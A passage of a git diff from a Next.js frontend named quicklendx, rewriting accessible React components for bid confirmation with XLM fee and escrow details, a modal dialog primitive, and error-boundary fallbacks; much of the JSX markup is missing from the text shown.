- - ); -}; - -export default ConfirmAction; +"use client"; + +import React, { + useCallback, + useEffect, + useId, + useReducer, + useRef, + useState, +} from "react"; +import toast from "react-hot-toast"; +import { Dialog } from "./Dialog"; + +// --------------------------------------------------------------------------- +// Types +// --------------------------------------------------------------------------- + +export interface FeeLineItem { + label: string; + amount: number; // XLM, 7 decimal places + isEstimate: boolean; + estimateTooltip?: string; // required when isEstimate === true +} + +export interface ConfirmActionProps { + isOpen: boolean; + onClose: () => void; + /** Resolves on server success; rejects with Error on failure. */ + onConfirm: () => Promise; + /** Optional: called immediately after hold completes (optimistic update). */ + onOptimisticUpdate?: () => void; + /** Optional: called when server rejects (revert optimistic update). */ + onRevert?: () => void; + + // Commitment summary data + invoiceId: string; + bidId: string; + lockedAmountXlm: number; + lockUntilDate: Date; + fees: FeeLineItem[]; + collateralisationRatio: number; // e.g. 1.08 = 108% + stellarExplorerUrl: string; + + /** Ref to the element that triggered the dialog — focus returns here on close. */ + triggerRef?: React.RefObject; +} + +// --------------------------------------------------------------------------- +// State machine +// --------------------------------------------------------------------------- + +type DialogPhase = + | { phase: "idle" } + | { phase: "holding"; progressPct: number } + | { phase: "submitting" } + | { phase: "error"; message: string } + | { phase: "timeout" }; + +type DialogAction = + | { type: "HOLD_START" } + | { type: "HOLD_PROGRESS"; progressPct: number } + | { type: "HOLD_CANCEL" } + | { type: "HOLD_COMPLETE" } + | { type: "SUBMIT" } + | { type: "SUCCESS" } + | { type: "ERROR"; message: string } + | { type: "TIMEOUT" } + | { type: "RESET" }; + +function dialogReducer(state: DialogPhase, action: DialogAction): DialogPhase { + switch (action.type) { + case "HOLD_START": + return { phase: "holding", progressPct: 0 }; + case "HOLD_PROGRESS": + return { phase: "holding", progressPct: action.progressPct }; + case "HOLD_CANCEL": + return { phase: "idle" }; + case "HOLD_COMPLETE": + case "SUBMIT": + return { phase: "submitting" }; + case "SUCCESS": + return { phase: "idle" }; + case "ERROR": + return { phase: "error", message: action.message }; + case "TIMEOUT": + return { phase: "timeout" }; + case "RESET": + return { phase: "idle" }; + default: + return state; + } +} + +// --------------------------------------------------------------------------- +// Constants +// --------------------------------------------------------------------------- + +const HOLD_DURATION_MS = 1500; +const HOLD_TICK_MS = 50; +const SERVER_TIMEOUT_MS = 10_000; +const TWO_STEP_MIN_GAP_MS = 500; +const TWO_STEP_RESET_MS = 5_000; +const PROGRESS_ARC_RADIUS = 20; +const PROGRESS_ARC_CIRCUMFERENCE = 2 * Math.PI * PROGRESS_ARC_RADIUS; +const LOW_COLLATERAL_THRESHOLD = 1.1; // 110% + +// --------------------------------------------------------------------------- +// Helpers +// --------------------------------------------------------------------------- + +function formatXlm(amount: number): string { + return amount.toLocaleString("en-US", { + minimumFractionDigits: 7, + maximumFractionDigits: 7, + }); +} + +function formatLockDate(date: Date): string { + const abs = date.toLocaleDateString("en-US", { + month: "long", + day: "numeric", + year: "numeric", + }); + const time = date.toLocaleTimeString("en-US", { + hour: "2-digit", + minute: "2-digit", + hour12: false, + timeZone: "UTC", + }); + const now = Date.now(); + const diffDays = Math.round((date.getTime() - now) / 86_400_000); + const relative = + diffDays > 0 ? ` (${diffDays} day${diffDays !== 1 ? "s" : ""})` : ""; + return `${abs}, ${time} UTC${relative}`; +} + +// --------------------------------------------------------------------------- +// ProgressArc sub-component +// --------------------------------------------------------------------------- + +interface ProgressArcProps { + progressPct: number; + reducedMotion: boolean; +} + +const ProgressArc: React.FC = ({ + progressPct, + reducedMotion, +}) => { + const offset = PROGRESS_ARC_CIRCUMFERENCE * (1 - progressPct / 100); + + if (reducedMotion) { + return ( + + {Math.round(progressPct)}% + + ); + } + + return ( + + ); +}; + +// --------------------------------------------------------------------------- +// CommitmentSummary sub-component +// --------------------------------------------------------------------------- + +interface CommitmentSummaryProps { + id: string; + invoiceId: string; + lockedAmountXlm: number; + lockUntilDate: Date; + fees: FeeLineItem[]; + collateralisationRatio: number; + stellarExplorerUrl: string; +} + +const CommitmentSummary: React.FC = ({ + id, + invoiceId, + lockedAmountXlm, + lockUntilDate, + fees, + collateralisationRatio, + stellarExplorerUrl, +}) => { + const netPayout = + lockedAmountXlm - fees.reduce((sum, f) => sum + f.amount, 0); + const isLowCollateral = collateralisationRatio < LOW_COLLATERAL_THRESHOLD; + const collateralPct = Math.round(collateralisationRatio * 100); + + return ( +
+
+
+
Invoice
+
{invoiceId}
+
+
+
Locked
+
{formatXlm(lockedAmountXlm)} XLM
+
+
+
Until
+
{formatLockDate(lockUntilDate)}
+
+
+ +

+ By accepting, you lock{" "} + {formatXlm(lockedAmountXlm)} XLM{" "} + until {formatLockDate(lockUntilDate)}. +

+ +
+ {fees.map((fee, i) => ( +
+ + {fee.label} + {fee.isEstimate && ( + <> + {" "} + (est.){" "} + + + )} + + {formatXlm(fee.amount)} XLM +
+ ))} +
+
+ Expected net payout + {formatXlm(netPayout)} XLM +
+ + {isLowCollateral && ( +

+ + Collateral ratio {collateralPct}% — below 110% threshold +

+ )} + + + View on Stellar Explorer + + +
+ ); +}; + +// --------------------------------------------------------------------------- +// HoldButton sub-component +// --------------------------------------------------------------------------- + +interface HoldButtonProps { + phase: DialogPhase["phase"]; + progressPct: number; + reducedMotion: boolean; + onHoldStart: () => void; + onHoldEnd: () => void; +} + +const HoldButton: React.FC = ({ + phase, + progressPct, + reducedMotion, + onHoldStart, + onHoldEnd, +}) => { + const isSubmitting = phase === "submitting"; + const isHolding = phase === "holding"; + const ariaLabelPct = Math.round(progressPct / 10) * 10; + + const label = isSubmitting ? "Confirming\u2026" : "Hold to confirm"; + const ariaLabel = isHolding + ? `Hold to confirm \u2014 ${ariaLabelPct}% complete` + : label; + + return ( + + ); +}; + +// --------------------------------------------------------------------------- +// TwoStepButton sub-component +// --------------------------------------------------------------------------- + +interface TwoStepButtonProps { + phase: DialogPhase["phase"]; + onConfirm: () => void; +} + +const TwoStepButton: React.FC = ({ phase, onConfirm }) => { + const [pending, setPending] = useState(false); + const firstClickTimeRef = useRef(0); + const resetTimerRef = useRef | null>(null); + + const isSubmitting = phase === "submitting"; + + const handleClick = useCallback(() => { + if (isSubmitting) return; + + if (!pending) { + setPending(true); + firstClickTimeRef.current = Date.now(); + resetTimerRef.current = setTimeout(() => { + setPending(false); + }, TWO_STEP_RESET_MS); + } else { + const elapsed = Date.now() - firstClickTimeRef.current; + if (elapsed >= TWO_STEP_MIN_GAP_MS) { + if (resetTimerRef.current) clearTimeout(resetTimerRef.current); + setPending(false); + onConfirm(); + } + } + }, [pending, isSubmitting, onConfirm]); + + useEffect(() => { + if (phase !== "idle" && phase !== "holding") { + setPending(false); + if (resetTimerRef.current) clearTimeout(resetTimerRef.current); + } + }, [phase]); + + useEffect(() => { + return () => { + if (resetTimerRef.current) clearTimeout(resetTimerRef.current); + }; + }, []); + + return ( + + ); +}; + +// --------------------------------------------------------------------------- +// Main ConfirmAction component +// --------------------------------------------------------------------------- + +export const ConfirmAction: React.FC = ({ + isOpen, + onClose, + onConfirm, + onOptimisticUpdate, + onRevert, + invoiceId, + bidId: _bidId, + lockedAmountXlm, + lockUntilDate, + fees, + collateralisationRatio, + stellarExplorerUrl, + triggerRef, +}) => { + const [state, dispatch] = useReducer(dialogReducer, { phase: "idle" }); + const [closing, setClosing] = useState(false); + + const holdIntervalRef = useRef | null>(null); + const serverTimeoutRef = useRef | null>(null); + const progressRef = useRef(0); + const handleSubmitRef = useRef<() => Promise>(() => Promise.resolve()); + + const titleId = useId(); + const summaryId = useId(); + + const [reducedMotion, setReducedMotion] = useState(false); + useEffect(() => { + const mq = window.matchMedia("(prefers-reduced-motion: reduce)"); + setReducedMotion(mq.matches); + const handler = (e: MediaQueryListEvent) => setReducedMotion(e.matches); + mq.addEventListener("change", handler); + return () => mq.removeEventListener("change", handler); + }, []); + + // Reset state when dialog opens + useEffect(() => { + if (isOpen) { + setClosing(false); + dispatch({ type: "RESET" }); + } + }, [isOpen]); + + const clearHoldInterval = useCallback(() => { + if (holdIntervalRef.current) { + clearInterval(holdIntervalRef.current); + holdIntervalRef.current = null; + } + progressRef.current = 0; + }, []); + + // Single close function — all close paths (success, dismiss, cancel, backdrop, + // Escape) must go through here so focus always returns to the trigger. + const handleClose = useCallback(() => { + if (state.phase === "submitting") return; + clearHoldInterval(); + const delay = reducedMotion ? 0 : 200; + setClosing(true); + setTimeout(() => { + setClosing(false); + onClose(); + }, delay); + // Focus return is handled by Dialog via triggerRef + }, [state.phase, reducedMotion, onClose, clearHoldInterval]); + + const handleHoldStart = useCallback(() => { + if (state.phase !== "idle") return; + dispatch({ type: "HOLD_START" }); + progressRef.current = 0; + + holdIntervalRef.current = setInterval(() => { + progressRef.current += (HOLD_TICK_MS / HOLD_DURATION_MS) * 100; + if (progressRef.current >= 100) { + clearHoldInterval(); + dispatch({ type: "HOLD_COMPLETE" }); + handleSubmitRef.current(); + } else { + dispatch({ type: "HOLD_PROGRESS", progressPct: progressRef.current }); + } + }, HOLD_TICK_MS); + }, [state.phase, clearHoldInterval]); + + const handleHoldEnd = useCallback(() => { + if (state.phase !== "holding") return; + clearHoldInterval(); + dispatch({ type: "HOLD_CANCEL" }); + }, [state.phase, clearHoldInterval]); + + const handleSubmit = useCallback(async () => { + dispatch({ type: "SUBMIT" }); + onOptimisticUpdate?.(); + + serverTimeoutRef.current = setTimeout(() => { + dispatch({ type: "TIMEOUT" }); + }, SERVER_TIMEOUT_MS); + + try { + await onConfirm(); + if (serverTimeoutRef.current) clearTimeout(serverTimeoutRef.current); + dispatch({ type: "SUCCESS" }); + // Route through handleClose so focus is returned + handleClose(); + toast.success("Bid accepted. Funds are in escrow.", { duration: 5000 }); + } catch (err) { + if (serverTimeoutRef.current) clearTimeout(serverTimeoutRef.current); + const message = + err instanceof Error + ? err.message + : "Transaction could not be submitted. Check your connection and try again."; + dispatch({ type: "ERROR", message }); + onRevert?.(); + } + }, [onConfirm, handleClose, onOptimisticUpdate, onRevert]); + + handleSubmitRef.current = handleSubmit; + + // Cleanup on unmount + useEffect(() => { + return () => { + clearHoldInterval(); + if (serverTimeoutRef.current) clearTimeout(serverTimeoutRef.current); + }; + }, [clearHoldInterval]); + + const isSubmitting = state.phase === "submitting"; + const progressPct = state.phase === "holding" ? state.progressPct : 0; + + const isMobile = typeof window !== "undefined" && window.innerWidth < 768; + const noAnim = reducedMotion || (typeof window !== "undefined" && window.innerWidth < 375); + + const panelAnimClass = noAnim + ? "" + : isMobile + ? closing + ? "animate-[cad-close-mobile_300ms_ease-in_forwards]" + : "animate-[cad-open-mobile_300ms_ease-out_forwards]" + : closing + ? "animate-[cad-close-desktop_200ms_ease-in_forwards]" + : "animate-[cad-open-desktop_200ms_ease-out_forwards]"; + + return ( + <> + + + + {/* Header */} +
+

+ Accept bid +

+ +
+ + {/* Body */} +
+ + + {state.phase === "error" && ( +

+ Error: {state.message} +

+ )} + + {state.phase === "timeout" && ( +

+ This is taking longer than expected. Your action may still be + processing. Check back shortly. +

+ )} +
+ + {/* Footer */} +
+
+ + +
+ +
+ {state.phase === "timeout" ? ( + // Dismiss — must also restore focus, so go through handleClose + + ) : ( + + )} +
+
+
+ + ); +}; + +export default ConfirmAction; diff --git a/quicklendx-frontend/app/components/Dialog.tsx b/quicklendx-frontend/app/components/Dialog.tsx index 34e26db08..b5c065cd4 100644 --- a/quicklendx-frontend/app/components/Dialog.tsx +++ b/quicklendx-frontend/app/components/Dialog.tsx @@ -1,210 +1,210 @@ -"use client"; - -/** - * Dialog — shared accessible dialog primitive. - * - * WCAG 2.1 AA compliance: - * - SC 4.1.2: role="dialog" / "alertdialog", aria-modal, aria-labelledby, aria-describedby - * - SC 2.4.3: focus moves into dialog on open, returns to opener on every close path - * - SC 2.1.1: Tab/Shift+Tab cycle within dialog, Escape closes unless dismissible=false - * - Background is marked `inert` to prevent tabbable content behind the overlay - * - * WAI-ARIA APG modal dialog pattern: - * https://www.w3.org/WAI/ARIA/apg/patterns/dialog-modal/ - */ - -import React, { - useCallback, - useEffect, - useId, - useRef, -} from "react"; -import { createPortal } from "react-dom"; - -// --------------------------------------------------------------------------- -// Types -// --------------------------------------------------------------------------- - -export interface DialogProps { - /** Whether the dialog is open. */ - isOpen: boolean; - /** Called on every close path (Escape, backdrop click, explicit close). */ - onClose: () => void; - /** Ref to the element that triggered the dialog — focus returns here on close. */ - triggerRef?: React.RefObject; - /** Use "alertdialog" for destructive confirmations. Default: "dialog". */ - role?: "dialog" | "alertdialog"; - /** aria-labelledby value. If omitted, pass aria-label directly via ...rest. */ - labelId?: string; - /** aria-describedby value. */ - descriptionId?: string; - /** When false, Escape and backdrop clicks do not close the dialog. Default: true. */ - dismissible?: boolean; - children: React.ReactNode; - /** Extra className for the dialog panel wrapper. */ - panelClassName?: string; - /** Extra className for the backdrop. */ - backdropClassName?: string; -} - -// --------------------------------------------------------------------------- -// Helpers -// --------------------------------------------------------------------------- - -const FOCUSABLE_SELECTORS = [ - "a[href]", - "button:not([disabled])", - "input:not([disabled])", - "select:not([disabled])", - "textarea:not([disabled])", - '[tabindex]:not([tabindex="-1"])', - "details > summary", -].join(", "); - -function getFocusableElements(container: HTMLElement): HTMLElement[] { - return Array.from(container.querySelectorAll(FOCUSABLE_SELECTORS)).filter( - (el) => !el.closest("[inert]") && el.offsetParent !== null - ); -} - -// --------------------------------------------------------------------------- -// Dialog component -// --------------------------------------------------------------------------- - -export const Dialog: React.FC = ({ - isOpen, - onClose, - triggerRef, - role = "dialog", - labelId, - descriptionId, - dismissible = true, - children, - panelClassName = "", - backdropClassName = "", -}) => { - const panelRef = useRef(null); - const fallbackLabelId = useId(); - const resolvedLabelId = labelId ?? fallbackLabelId; - - // Focus the first focusable element when dialog opens - useEffect(() => { - if (!isOpen) return; - // Defer until portal renders - const frame = requestAnimationFrame(() => { - const panel = panelRef.current; - if (!panel) return; - const focusable = getFocusableElements(panel); - if (focusable.length > 0) { - focusable[0].focus(); - } else { - panel.focus(); - } - }); - return () => cancelAnimationFrame(frame); - }, [isOpen]); - - // Apply `inert` to siblings of the dialog root when open, remove when closed. - // This prevents background content from being tabbable or read by AT. - useEffect(() => { - if (!isOpen) return; - const portal = panelRef.current?.closest("[data-dialog-portal]") as HTMLElement | null; - if (!portal) return; - const parent = portal.parentElement; - if (!parent) return; - - const siblings = Array.from(parent.children).filter( - (el) => el !== portal - ) as HTMLElement[]; - siblings.forEach((el) => el.setAttribute("inert", "")); - return () => siblings.forEach((el) => el.removeAttribute("inert")); - }, [isOpen]); - - // Stable close handler that always reads current onClose / triggerRef - const onCloseRef = useRef(onClose); - const triggerRefRef = useRef(triggerRef); - useEffect(() => { onCloseRef.current = onClose; }, [onClose]); - useEffect(() => { triggerRefRef.current = triggerRef; }, [triggerRef]); - - const handleClose = useCallback(() => { - onCloseRef.current(); - // Return focus to the opener on the next frame, after the dialog unmounts - requestAnimationFrame(() => { - const target = triggerRefRef.current?.current; - if (target && typeof target.focus === "function") { - target.focus(); - } - }); - }, []); - - // Keyboard handler: Tab trap + Escape - const handleKeyDown = useCallback( - (e: React.KeyboardEvent) => { - const panel = panelRef.current; - if (!panel) return; - - if (e.key === "Escape") { - if (dismissible) { - e.stopPropagation(); - handleClose(); - } - return; - } - - if (e.key === "Tab") { - const focusable = getFocusableElements(panel); - if (focusable.length === 0) { - e.preventDefault(); - return; - } - const first = focusable[0]; - const last = focusable[focusable.length - 1]; - - if (e.shiftKey) { - if (document.activeElement === first) { - e.preventDefault(); - last.focus(); - } - } else { - if (document.activeElement === last) { - e.preventDefault(); - first.focus(); - } - } - } - }, - [dismissible, handleClose] - ); - - if (!isOpen) return null; - - return createPortal( -
- {/* Backdrop */} - , - document.body - ); -}; - -export default Dialog; +"use client"; + +/** + * Dialog — shared accessible dialog primitive. + * + * WCAG 2.1 AA compliance: + * - SC 4.1.2: role="dialog" / "alertdialog", aria-modal, aria-labelledby, aria-describedby + * - SC 2.4.3: focus moves into dialog on open, returns to opener on every close path + * - SC 2.1.1: Tab/Shift+Tab cycle within dialog, Escape closes unless dismissible=false + * - Background is marked `inert` to prevent tabbable content behind the overlay + * + * WAI-ARIA APG modal dialog pattern: + * https://www.w3.org/WAI/ARIA/apg/patterns/dialog-modal/ + */ + +import React, { + useCallback, + useEffect, + useId, + useRef, +} from "react"; +import { createPortal } from "react-dom"; + +// --------------------------------------------------------------------------- +// Types +// --------------------------------------------------------------------------- + +export interface DialogProps { + /** Whether the dialog is open. */ + isOpen: boolean; + /** Called on every close path (Escape, backdrop click, explicit close). */ + onClose: () => void; + /** Ref to the element that triggered the dialog — focus returns here on close. */ + triggerRef?: React.RefObject; + /** Use "alertdialog" for destructive confirmations. Default: "dialog". */ + role?: "dialog" | "alertdialog"; + /** aria-labelledby value. If omitted, pass aria-label directly via ...rest. */ + labelId?: string; + /** aria-describedby value. */ + descriptionId?: string; + /** When false, Escape and backdrop clicks do not close the dialog. Default: true. */ + dismissible?: boolean; + children: React.ReactNode; + /** Extra className for the dialog panel wrapper. */ + panelClassName?: string; + /** Extra className for the backdrop. */ + backdropClassName?: string; +} + +// --------------------------------------------------------------------------- +// Helpers +// --------------------------------------------------------------------------- + +const FOCUSABLE_SELECTORS = [ + "a[href]", + "button:not([disabled])", + "input:not([disabled])", + "select:not([disabled])", + "textarea:not([disabled])", + '[tabindex]:not([tabindex="-1"])', + "details > summary", +].join(", "); + +function getFocusableElements(container: HTMLElement): HTMLElement[] { + return Array.from(container.querySelectorAll(FOCUSABLE_SELECTORS)).filter( + (el) => !el.closest("[inert]") && el.offsetParent !== null + ); +} + +// --------------------------------------------------------------------------- +// Dialog component +// --------------------------------------------------------------------------- + +export const Dialog: React.FC = ({ + isOpen, + onClose, + triggerRef, + role = "dialog", + labelId, + descriptionId, + dismissible = true, + children, + panelClassName = "", + backdropClassName = "", +}) => { + const panelRef = useRef(null); + const fallbackLabelId = useId(); + const resolvedLabelId = labelId ?? fallbackLabelId; + + // Focus the first focusable element when dialog opens + useEffect(() => { + if (!isOpen) return; + // Defer until portal renders + const frame = requestAnimationFrame(() => { + const panel = panelRef.current; + if (!panel) return; + const focusable = getFocusableElements(panel); + if (focusable.length > 0) { + focusable[0].focus(); + } else { + panel.focus(); + } + }); + return () => cancelAnimationFrame(frame); + }, [isOpen]); + + // Apply `inert` to siblings of the dialog root when open, remove when closed. + // This prevents background content from being tabbable or read by AT. + useEffect(() => { + if (!isOpen) return; + const portal = panelRef.current?.closest("[data-dialog-portal]") as HTMLElement | null; + if (!portal) return; + const parent = portal.parentElement; + if (!parent) return; + + const siblings = Array.from(parent.children).filter( + (el) => el !== portal + ) as HTMLElement[]; + siblings.forEach((el) => el.setAttribute("inert", "")); + return () => siblings.forEach((el) => el.removeAttribute("inert")); + }, [isOpen]); + + // Stable close handler that always reads current onClose / triggerRef + const onCloseRef = useRef(onClose); + const triggerRefRef = useRef(triggerRef); + useEffect(() => { onCloseRef.current = onClose; }, [onClose]); + useEffect(() => { triggerRefRef.current = triggerRef; }, [triggerRef]); + + const handleClose = useCallback(() => { + onCloseRef.current(); + // Return focus to the opener on the next frame, after the dialog unmounts + requestAnimationFrame(() => { + const target = triggerRefRef.current?.current; + if (target && typeof target.focus === "function") { + target.focus(); + } + }); + }, []); + + // Keyboard handler: Tab trap + Escape + const handleKeyDown = useCallback( + (e: React.KeyboardEvent) => { + const panel = panelRef.current; + if (!panel) return; + + if (e.key === "Escape") { + if (dismissible) { + e.stopPropagation(); + handleClose(); + } + return; + } + + if (e.key === "Tab") { + const focusable = getFocusableElements(panel); + if (focusable.length === 0) { + e.preventDefault(); + return; + } + const first = focusable[0]; + const last = focusable[focusable.length - 1]; + + if (e.shiftKey) { + if (document.activeElement === first) { + e.preventDefault(); + last.focus(); + } + } else { + if (document.activeElement === last) { + e.preventDefault(); + first.focus(); + } + } + } + }, + [dismissible, handleClose] + ); + + if (!isOpen) return null; + + return createPortal( +
+ {/* Backdrop */} + , + document.body + ); +}; + +export default Dialog; diff --git a/quicklendx-frontend/app/components/ErrorBoundary.tsx b/quicklendx-frontend/app/components/ErrorBoundary.tsx index 0b5ae35d4..f47b06de3 100644 --- a/quicklendx-frontend/app/components/ErrorBoundary.tsx +++ b/quicklendx-frontend/app/components/ErrorBoundary.tsx @@ -1,374 +1,374 @@ -"use client"; - -import React from "react"; -import { ErrorBoundary as ReactErrorBoundary } from "react-error-boundary"; -import { - AppError, - ErrorCategory, - ErrorSeverity, - globalErrorHandler, -} from "../lib/errors"; - -export interface ErrorFallbackProps { - error: Error; - resetErrorBoundary: () => void; - /** - * Invoked by the "Reconnect wallet" action. When it is not provided the - * fallback navigates back to the app root instead. - */ - onReauthenticate?: () => void; - /** - * Whether the secondary "Refresh Page" action is offered. The App Router - * error pages disable it because recovery there is driven by Next's - * `reset()`, which re-renders the segment instead of reloading the document. - */ - showReloadButton?: boolean; -} - -// --- Category artwork (inline SVG, no extra deps) ----------------------------- -// The artwork is purely decorative: it is `aria-hidden` and the heading below -// is the only text label describing the failure, so the error type is never -// communicated by an icon alone. -type IconProps = { className?: string }; - -const NetworkErrorIcon: React.FC = ({ className }) => ( - -); - -const AuthenticationErrorIcon: React.FC = ({ className }) => ( - -); - -const ValidationErrorIcon: React.FC = ({ className }) => ( - -); - -const SystemErrorIcon: React.FC = ({ className }) => ( - -); - -const UnknownErrorIcon: React.FC = ({ className }) => ( - -); - -const CATEGORY_ARTWORK: Record< - ErrorCategory, - { heading: string; Icon: React.FC } -> = { - [ErrorCategory.NETWORK]: { - heading: "Network Error", - Icon: NetworkErrorIcon, - }, - [ErrorCategory.VALIDATION]: { - heading: "Validation Error", - Icon: ValidationErrorIcon, - }, - [ErrorCategory.AUTHENTICATION]: { - heading: "Authentication Error", - Icon: AuthenticationErrorIcon, - }, - [ErrorCategory.AUTHORIZATION]: { - heading: "Authorization Error", - Icon: AuthenticationErrorIcon, - }, - [ErrorCategory.BUSINESS_LOGIC]: { - heading: "Business Logic Error", - Icon: ValidationErrorIcon, - }, - [ErrorCategory.SYSTEM]: { - heading: "System Error", - Icon: SystemErrorIcon, - }, - [ErrorCategory.USER_INPUT]: { - heading: "Input Error", - Icon: ValidationErrorIcon, - }, - [ErrorCategory.EXTERNAL_SERVICE]: { - heading: "Service Error", - Icon: NetworkErrorIcon, - }, -}; - -const GENERIC_ARTWORK = { - heading: "Something Went Wrong", - Icon: UnknownErrorIcon, -}; - -export const ErrorFallback: React.FC = ({ - error, - resetErrorBoundary, - onReauthenticate, - showReloadButton = true, -}) => { - const isAppError = error instanceof AppError; - const category = isAppError ? error.category : ErrorCategory.SYSTEM; - const severity = isAppError ? error.severity : ErrorSeverity.CRITICAL; - - const { heading, Icon } = CATEGORY_ARTWORK[category] ?? GENERIC_ARTWORK; - - const getErrorMessage = () => { - if (isAppError) { - return error.message; - } - - // Provide user-friendly messages for common errors - if (error.message.includes("fetch")) { - return "Unable to connect to the server. Please check your internet connection and try again."; - } - if (error.message.includes("JSON")) { - return "There was an issue processing the data. Please try again."; - } - if (error.message.includes("timeout")) { - return "The request took too long to complete. Please try again."; - } - - return "Something went wrong. Please try again."; - }; - - const handleReauthenticate = () => { - if (onReauthenticate) { - onReauthenticate(); - return; - } - - // No re-authentication handler was supplied: return to the app root. The - // app is wallet-based, so there is no dedicated sign-in page to send the - // user to. - window.location.href = "/"; - }; - - const getActionButton = () => { - switch (category) { - case ErrorCategory.NETWORK: - return ( - - ); - case ErrorCategory.AUTHENTICATION: - return ( - - ); - default: - return ( - - ); - } - }; - - return ( -
-
-
- -
- -

{heading}

- -

- {getErrorMessage()} -

- -
- {getActionButton()} - - {showReloadButton && ( - - )} -
- - {process.env.NODE_ENV === "development" && ( -
- - Technical Details - -
-
- Error: {error.name} -
-
- Message: {error.message} -
-
- Severity: {severity} -
-
- Stack: -
-
{error.stack}
-
-
- )} -
-
- ); -}; - -export interface ErrorBoundaryProps { - children: React.ReactNode; - fallback?: React.ComponentType; - onError?: (error: Error, errorInfo: React.ErrorInfo) => void; - /** - * Called whenever the boundary resets. The default behaviour is to re-render - * the failed subtree only — the page is never reloaded, so client state - * (form input, wallet session) survives. - */ - onReset?: (details: { - reason: "imperative-api" | "keys"; - args?: any[]; - prev?: any[] | undefined; - next?: any[] | undefined; - }) => void; - /** - * Reset the boundary automatically whenever one of these values changes. - */ - resetKeys?: any[]; - /** - * Handler for the fallback's "Reconnect wallet" action. - */ - onReauthenticate?: () => void; - /** - * Forwarded to the fallback; see {@link ErrorFallbackProps.showReloadButton}. - */ - showReloadButton?: boolean; -} - -export const ErrorBoundary: React.FC = ({ - children, - fallback: Fallback = ErrorFallback, - onError, - onReset, - resetKeys, - onReauthenticate, - showReloadButton, -}) => { - const handleError = (error: Error, errorInfo: React.ErrorInfo) => { - // Log error with context - globalErrorHandler(error, { - component: errorInfo.componentStack?.split("\n")[1]?.trim(), - additionalData: { errorInfo }, - }); - - // Call custom error handler if provided - if (onError) { - onError(error, errorInfo); - } - }; - - return ( - ( - - )} - onError={handleError} - onReset={onReset} - resetKeys={resetKeys} - > - {children} - - ); -}; - -export default ErrorBoundary; +"use client"; + +import React from "react"; +import { ErrorBoundary as ReactErrorBoundary } from "react-error-boundary"; +import { + AppError, + ErrorCategory, + ErrorSeverity, + globalErrorHandler, +} from "../lib/errors"; + +export interface ErrorFallbackProps { + error: Error; + resetErrorBoundary: () => void; + /** + * Invoked by the "Reconnect wallet" action. When it is not provided the + * fallback navigates back to the app root instead. + */ + onReauthenticate?: () => void; + /** + * Whether the secondary "Refresh Page" action is offered. The App Router + * error pages disable it because recovery there is driven by Next's + * `reset()`, which re-renders the segment instead of reloading the document. + */ + showReloadButton?: boolean; +} + +// --- Category artwork (inline SVG, no extra deps) ----------------------------- +// The artwork is purely decorative: it is `aria-hidden` and the heading below +// is the only text label describing the failure, so the error type is never +// communicated by an icon alone. +type IconProps = { className?: string }; + +const NetworkErrorIcon: React.FC = ({ className }) => ( + +); + +const AuthenticationErrorIcon: React.FC = ({ className }) => ( + +); + +const ValidationErrorIcon: React.FC = ({ className }) => ( + +); + +const SystemErrorIcon: React.FC = ({ className }) => ( + +); + +const UnknownErrorIcon: React.FC = ({ className }) => ( + +); + +const CATEGORY_ARTWORK: Record< + ErrorCategory, + { heading: string; Icon: React.FC } +> = { + [ErrorCategory.NETWORK]: { + heading: "Network Error", + Icon: NetworkErrorIcon, + }, + [ErrorCategory.VALIDATION]: { + heading: "Validation Error", + Icon: ValidationErrorIcon, + }, + [ErrorCategory.AUTHENTICATION]: { + heading: "Authentication Error", + Icon: AuthenticationErrorIcon, + }, + [ErrorCategory.AUTHORIZATION]: { + heading: "Authorization Error", + Icon: AuthenticationErrorIcon, + }, + [ErrorCategory.BUSINESS_LOGIC]: { + heading: "Business Logic Error", + Icon: ValidationErrorIcon, + }, + [ErrorCategory.SYSTEM]: { + heading: "System Error", + Icon: SystemErrorIcon, + }, + [ErrorCategory.USER_INPUT]: { + heading: "Input Error", + Icon: ValidationErrorIcon, + }, + [ErrorCategory.EXTERNAL_SERVICE]: { + heading: "Service Error", + Icon: NetworkErrorIcon, + }, +}; + +const GENERIC_ARTWORK = { + heading: "Something Went Wrong", + Icon: UnknownErrorIcon, +}; + +export const ErrorFallback: React.FC = ({ + error, + resetErrorBoundary, + onReauthenticate, + showReloadButton = true, +}) => { + const isAppError = error instanceof AppError; + const category = isAppError ? error.category : ErrorCategory.SYSTEM; + const severity = isAppError ? error.severity : ErrorSeverity.CRITICAL; + + const { heading, Icon } = CATEGORY_ARTWORK[category] ?? GENERIC_ARTWORK; + + const getErrorMessage = () => { + if (isAppError) { + return error.message; + } + + // Provide user-friendly messages for common errors + if (error.message.includes("fetch")) { + return "Unable to connect to the server. Please check your internet connection and try again."; + } + if (error.message.includes("JSON")) { + return "There was an issue processing the data. Please try again."; + } + if (error.message.includes("timeout")) { + return "The request took too long to complete. Please try again."; + } + + return "Something went wrong. Please try again."; + }; + + const handleReauthenticate = () => { + if (onReauthenticate) { + onReauthenticate(); + return; + } + + // No re-authentication handler was supplied: return to the app root. The + // app is wallet-based, so there is no dedicated sign-in page to send the + // user to. + window.location.href = "/"; + }; + + const getActionButton = () => { + switch (category) { + case ErrorCategory.NETWORK: + return ( + + ); + case ErrorCategory.AUTHENTICATION: + return ( + + ); + default: + return ( + + ); + } + }; + + return ( +
+
+
+ +
+ +

{heading}

+ +

+ {getErrorMessage()} +

+ +
+ {getActionButton()} + + {showReloadButton && ( + + )} +
+ + {process.env.NODE_ENV === "development" && ( +
+ + Technical Details + +
+
+ Error: {error.name} +
+
+ Message: {error.message} +
+
+ Severity: {severity} +
+
+ Stack: +
+
{error.stack}
+
+
+ )} +
+
+ ); +}; + +export interface ErrorBoundaryProps { + children: React.ReactNode; + fallback?: React.ComponentType; + onError?: (error: Error, errorInfo: React.ErrorInfo) => void; + /** + * Called whenever the boundary resets. The default behaviour is to re-render + * the failed subtree only — the page is never reloaded, so client state + * (form input, wallet session) survives. + */ + onReset?: (details: { + reason: "imperative-api" | "keys"; + args?: any[]; + prev?: any[] | undefined; + next?: any[] | undefined; + }) => void; + /** + * Reset the boundary automatically whenever one of these values changes. + */ + resetKeys?: any[]; + /** + * Handler for the fallback's "Reconnect wallet" action. + */ + onReauthenticate?: () => void; + /** + * Forwarded to the fallback; see {@link ErrorFallbackProps.showReloadButton}. + */ + showReloadButton?: boolean; +} + +export const ErrorBoundary: React.FC = ({ + children, + fallback: Fallback = ErrorFallback, + onError, + onReset, + resetKeys, + onReauthenticate, + showReloadButton, +}) => { + const handleError = (error: Error, errorInfo: React.ErrorInfo) => { + // Log error with context + globalErrorHandler(error, { + component: errorInfo.componentStack?.split("\n")[1]?.trim(), + additionalData: { errorInfo }, + }); + + // Call custom error handler if provided + if (onError) { 